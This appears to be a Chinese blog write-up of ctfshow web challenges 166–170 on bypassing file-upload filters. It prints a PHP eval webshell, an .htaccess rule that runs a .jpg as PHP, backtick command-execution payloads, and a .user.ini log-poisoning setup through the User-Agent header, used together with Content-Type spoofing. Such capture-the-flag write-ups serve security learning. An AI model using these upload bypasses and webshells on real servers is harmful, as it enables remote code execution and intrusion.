当前位置: 首页 > article >正文

ctfshow——web入门166~170

web入门166

这题是让我们上传一个zip压缩包,然后可以下载该压缩包,下载时zip文件会进行文件包含,也就是include

首先先随便找一个文件压缩,然后记事本打开写入一句话木马

之后上传文件,点击下载文件时用bp抓包

发送给重发器

(这里如果用get提交的话是不能有空格的,我们可以用+来代替)

web入门167

上传jpg

.htaccess:

.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。

payload:

<FilesMatch "1.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

这个大概意思是1.jpg会被当做php文件执行

接下来我们在1.jpg文件中插入我们的恶意代码

:

<?= eval($_POST[1]);?>

然后再上传1.jpg

接着点击下载文件,复制url(如https://0f5f07f4-02dc-46b0-8a60-69556a9a1d8c.challenge.ctf.show/upload/1.jpg),蚁剑连接

web入门168

png形式

然后我们通过测试发现可以使用`

那么步骤如下:

上传文件抓包,<?=`ls ../`;?>

访问/upload/9.php

然后这次的flag再flagaa.php中

直接和上面一样

<?=`tac ../flagaa.php`?>

访问

web入门169

要求zip

这里我们还是用到.uers.ini

文件内容:auto_prepend_file=/var/log/nginx/access.log

但是:

直接这样发送,发现无法上传,文件类型错误

然后因为accept为image

所以我们还需要将Content-Type改成image/png

成功上传

然后如果我们直接访问。upload,会显示403无php文件,所以我们上传一个php文件

明显是UA,那就直接插入UA头

web入门170

这题和上题一样

上传.user.ini文件

上传php文件

成功访问:


http://www.kler.cn/a/597825.html

相关文章:

  • Can通信流程
  • 蓝桥杯11届 门牌制作
  • k8s问题排查
  • 表达式括号匹配(stack)(信息学奥赛一本通-1353)
  • Android笔记之项目引用第三方库(如:Github等)
  • 施耐德 Unity Pro 项目配置
  • 前后端开发中,图片上传到不同格式(二进制数据ORbase64编码)
  • AI比人脑更强,因为被植入思维模型【17】万物联系思维模型
  • Unity | 游戏数据配置
  • 如何在Linux CentOS上安装和配置Redis
  • Okhttp响应Json数据升级版源代码
  • JS 算术运算符
  • 在 coc.nvim 插件中,自动补全时,候选词后面的 大写字母
  • 【机器学习】使用Python Spark MLlib进行预测模型训练
  • 【uniapp】内容瀑布流
  • 系统架构设计知识体系总结
  • k8s运维 设置Pod实现JVM内存根据容器内存动态调整
  • 使用BAT批处理加PYTHON进行WORD批量文字删除
  • 银河麒麟桌面版包管理器(五)
  • 使用vscode搭建pywebview集成vue项目示例